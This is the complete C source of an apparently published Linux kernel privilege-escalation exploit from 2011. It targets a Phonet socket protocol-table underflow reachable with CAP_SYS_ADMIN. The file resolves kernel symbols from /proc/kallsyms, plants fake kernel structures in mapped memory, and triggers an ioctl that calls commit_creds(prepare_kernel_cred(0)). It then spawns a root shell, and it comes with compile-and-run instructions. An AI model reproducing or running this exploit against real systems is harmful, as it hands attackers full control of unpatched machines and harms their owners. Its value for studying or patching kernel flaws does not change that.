/*
 * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
 * by Joe Sylve
 * @jtsylve on twitter
 *
 * Released: Jan 7, 2011
 *
 * Based on the bug found by Dan Rosenberg (@djrbliss)
 * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
 *
 * Usage:
 * gcc -w caps-to-root2.c -o caps-to-root2
 * sudo setcap cap_sys_admin+ep caps-to-root2
 * ./caps-to-root2
 *
 * Kernel Version >= 2.6.34 (untested on earlier versions)
 *
 * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
 *
 * This exploit takes advantage of the same underflow as the original,
 * but takes a different approach.  Instead of underflowing into userspace
 * (which doesn't work on 64-bit systems and is a lot of work), I underflow
 * to some static values inside of the kernel which are referenced as pointers
 * to userspace.  This method is pretty simple and seems to be reliable.
 */

#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
 int family;
 void  *buffer1[8];
 int (*ioctl)(void *, int, long);
 void  *buffer2[12];
};

struct phonet_protocol_skel {
 void *ops;
 void *prot;
 int sock_type; 
};

#ifdef __x86_64__

#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0

typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);

#else //32-bit

#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

#endif

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void * v, int i, long l)
{
 commit_creds(prepare_kernel_cred(0));
 return 0;     
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
 FILE *f;
 unsigned long addr;
 char dummy;
 char sname[512];
 int ret;

 char command[512];

 sprintf(command, "grep \"%s\" /proc/kallsyms", name);

 f = popen(command, "r");

 while(ret != EOF) {
  ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

  if (ret == 0) {
   fscanf(f, "%s\n", sname);
   continue;
  }

  if (!strcmp(name, sname)) {

   fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
   pclose(f);
   return addr;
  }
 }

 pclose(f);
 return 0;
}

int main(int argc, char * argv[])
{

 int sock, proto;
 unsigned long proto_tab, low_kern_sym, pn_proto;
 void * map;

 /* Create a socket to load the module for symbol support */
 printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
 sock = socket(PF_PHONET, SOCK_DGRAM, 0);

 if(sock < 0) {
  if(errno == EPERM)
   printf("[*] You don't have CAP_SYS_ADMIN.\n");

  else
   printf("[*] Failed to open Phonet socket.\n");

  return -1;
 }

 close(sock);

 /* Resolve kernel symbols */
 printf("[*] Resolving kernel symbols...\n");

 proto_tab = get_kernel_sym("proto_tab");
 low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
 pn_proto =  get_kernel_sym("pn_proto");
 commit_creds = (void *) get_kernel_sym("commit_creds");
 prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");

 if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
  printf("[*] Failed to resolve kernel symbols.\n");
  return -1;
 }

 if (low_kern_sym >= proto_tab) {
  printf("[*] %s is mapped higher than prototab.  Can not underflow :-(.\n", SYM_NAME);
  return -1;
 }

 /* Map it */
 printf("[*] Preparing fake structures...\n");

 const struct proto_ops_skel fake_proto_ops2 = {
   .family  = AF_PHONET, 
   .ioctl  = &getroot,
 };  

 struct phonet_protocol_skel pps = {
   .ops = (void *) &fake_proto_ops2,
   .prot = (void *) pn_proto,
   .sock_type = SOCK_DGRAM,
 };

 printf("[*] Copying Structures.\n");

 map = mmap((void *) SYM_ADDRESS, 0x1000,
   PROT_READ | PROT_WRITE | PROT_EXEC,
   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

 if(map == MAP_FAILED) {
  printf("[*] Failed to map landing area.\n");
  perror("mmap");
  return -1;
 }

 
 memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));

 // Calculate Underflow
 proto = -((proto_tab - low_kern_sym) / sizeof(void *));

 printf("[*] Underflowing with offset %d\n", proto);

 sock = socket(PF_PHONET, SOCK_DGRAM, proto);

 if(sock < 0) {
  printf("[*] Underflow failed :-(.\n");
  return -1;
 }

 printf("[*] Elevating privlidges...\n");
 ioctl(sock, 0, NULL);

 if(getuid()) {
  printf("[*] Exploit failed to get root.\n");
  return -1;
 }

 printf("[*] This was a triumph... I'm making a note here, huge success.\n");
 execl("/bin/sh", "/bin/sh", NULL);

 close(sock);
 munmap(map, 0x1000);

 return 0;
}